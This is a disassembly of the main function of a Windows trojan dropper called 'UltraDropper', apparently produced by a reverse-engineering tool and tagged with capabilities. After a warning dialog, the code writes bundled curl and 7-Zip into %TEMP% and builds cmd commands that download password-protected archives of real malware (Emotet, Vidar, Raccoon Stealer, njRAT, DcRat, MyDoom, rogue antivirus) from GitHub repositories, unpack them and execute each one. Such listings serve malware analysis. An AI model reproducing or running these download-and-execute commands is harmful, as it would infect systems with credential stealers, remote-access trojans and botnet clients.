Function at 0x401711
Capabilities:
Create directory
Extract resource via kernel32 functions
Query environment variable
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xd254
call fcn.00403370
sub esp, eax
call sym.___main
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.UltraDropper
mov dword [esp + 4], str.Run_UltraDropper__This_system_will_be_infected_by_TONS_of_other_malware_trojans_stealers_rogues_etc..._n_nI_am_NOT_responsible_for_anything._nIf_you_press_yes__this_trojan_downloader_will_run__and_your_system_will_be_left_DESTROYED__n_nOh__by_the_way__you_need_7_Zip_to_be_installed_in__C:Program_Files7_Zip_._n_nContinue__I_do_not_recommend_that_you_run_this_if_this_is_not_an_isolated_computer.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401768
mov eax, 0
jmp 0x40215f
mov dword [ebp - 0x30], str.ud.curl.exe
mov dword [ebp - 0x2c], str.ud.7z.exe
mov dword [ebp - 0x28], 0x4051f2
mov dword [ebp - 0xc], 0
jmp 0x4018cc
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
add eax, 1
movzx eax, ax
mov dword [esp + 8], 0xa
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindResourceA]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadResource]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LockResource]
call eax
sub esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SizeofResource]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [esp + 8], 0x400
lea eax, [ebp - 0xd230]
mov dword [esp + 4], eax
mov dword [esp], str._TEMP_
mov eax, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call eax
sub esp, 0xc
lea eax, [ebp - 0xd230]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0xd230]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x30]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd230]
mov dword [esp], eax
call sym._strcat
mov dword [esp + 4], 0x405200
lea eax, [ebp - 0xd230]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0xd230]
mov dword [esp], eax
call sym._memset
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 2
jle 0x401789
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov dword [esp], 0x405203
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sultradrp
lea eax, [ebp - 0x830]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x830]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___sEmotet_Epoch5.zip___https:__github.com_Princekin_malware_database_raw_main_Emotet_Emotet__20_Epoch5___20___2004.11.2022__20.zip____ssl_no_revoke____sud.7z.exe__x___sEmotet_Epoch5.zip___p_infected___o__s_
lea eax, [ebp - 0x1030]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___sAntivirusPro2017.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_Antivirus__20Pro__202017.zip____ssl_no_revoke____sud.7z.exe__x___sAntivirusPro2017.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0x1830]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___sAntivirusPlatinum.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_Antivirus__20Platinum.zip____ssl_no_revoke____sud.7z.exe__x___sAntivirusPlatinum.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0x2030]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___sRegistrySmart.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_RegistrySmart.zip____ssl_no_revoke____sud.7z.exe__x___sRegistrySmart.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0x2830]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___s_socelars.zip___https:__github.com_Princekin_malware_database_raw_main_Socelars__20Trojan_Socelars__20___2024.09.2022.zip____ssl_no_revoke____sud.7z.exe__x___s_socelars.zip___p_infected___o__s_
lea eax, [ebp - 0x3030]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___seternity.zip___https:__github.com_Princekin_malware_database_raw_main_Eternity__20Project_Eternity__20Worm__20___2009.11.2022.zip____ssl_no_revoke____sud.7z.exe__x___seternity.zip___p_infected___o__s_
lea eax, [ebp - 0x3830]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___s_vidar.zip___https:__github.com_Princekin_malware_database_raw_main_Vidar__20Stealer_vidar__20___2004.11.2022.zip____ssl_no_revoke____sud.7z.exe__x___s_vidar.zip___p_infected___o__s_
lea eax, [ebp - 0x4030]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___sdc.zip___https:__github.com_Princekin_malware_database_raw_main_DcRat_DcRat__20___2009.10.2022.zip____ssl_no_revoke____sud.7z.exe__x___sdc.zip___p_infected___o__s_
lea eax, [ebp - 0x4830]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___slaplas.zip___https:__github.com_Princekin_malware_database_raw_main_Laplas__20Clipper_Laplas__20___2008.12.2022__20_FUD__203__20of__2071_.zip____ssl_no_revoke____sud.7z.exe__x___slaplas.zip___p_infected___o__s_
lea eax, [ebp - 0x5030]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___s_njrat.zip___https:__github.com_ytisf_theZoo_raw_master_malware_Binaries_njRAT_v0.6.4_njRAT_v0.6.4.zip____ssl_no_revoke____sud.7z.exe__x___s_njrat.zip___p_infected___o__s_njrat_
lea eax, [ebp - 0x5830]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___s_raccoonv2.zip___https:__github.com_ytisf_theZoo_raw_master_malware_Binaries_Raccoon.Stealer.v2_Raccoon.Stealer.v2.sha.zip____ssl_no_revoke____sud.7z.exe__x___s_raccoonv2.zip___p_infected___o__s_raccoon_v2_
lea eax, [ebp - 0x6030]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x430]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c__sud.curl.exe__L__o___smydoom.zip___https:__github.com_ytisf_theZoo_raw_master_malware_Binaries_W32.MyDoom.A_W32.MyDoom.A.zip____ssl_no_revoke____sud.7z.exe__x___smydoom.zip___p_infected___o__smydoom_
lea eax, [ebp - 0x6830]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_njrat
lea eax, [ebp - 0x6a30]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_raccoon_v2
lea eax, [ebp - 0x6c30]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._smydoom
lea eax, [ebp - 0x6e30]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x6a30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x6c30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x6e30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x1030]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x1830]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x2030]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x2830]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x3030]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x3830]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x4030]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x4830]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x5030]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x5830]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x6030]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
lea eax, [ebp - 0x6830]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.UltraDropper
mov dword [esp + 4], str.Downloaded:_n_nAntivirus_Platinumm__Antivirus_Pro_2017_nRegistrySmart__Emotet__Epoch5_Botnet__nSocelars__Eternity_Project_nVidar_Stealer__DCRat_nLaplas__Raccoon_Stealer_v2__21_samples__nMyDoom.A_n_n_nRun_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401f21
mov eax, 0
jmp 0x40215f
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_regsvr32.exe___semotet.dll_
lea eax, [ebp - 0x7630]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_AntivirusPro2017.exe_
lea eax, [ebp - 0x7e30]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_AntivirusPlatinum.exe_
lea eax, [ebp - 0x8630]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_RegistrySmart.exe_
lea eax, [ebp - 0x8e30]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sInstall.exe_
lea eax, [ebp - 0x9630]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sWorm__1_.exe_
lea eax, [ebp - 0x9e30]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___s_setup.exe_
lea eax, [ebp - 0xa630]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sGenshin_Impact.exe_
lea eax, [ebp - 0xae30]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___s_setup.eexe_
lea eax, [ebp - 0xb630]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___s_njrat_njRAT_v0.6.4_njRAT.exe_
lea eax, [ebp - 0xbe30]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_cd___s_raccoon_v2___for___f_in____do_ren___f___f.exe__start___f.exe
lea eax, [ebp - 0xc630]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___smydoom_strip_girl_2.0bdcom_patches.exe_
lea eax, [ebp - 0xce30]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x7630]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0x7e30]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0x8630]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0x8e30]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0x9630]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0x9e30]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0xa630]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0xae30]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0xb630]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0xbe30]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0xc630]
mov dword [esp], eax
call sym._RunCommand
lea eax, [ebp - 0xce30]
mov dword [esp], eax
call sym._RunCommand
mov dword [esp], 0x61a8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret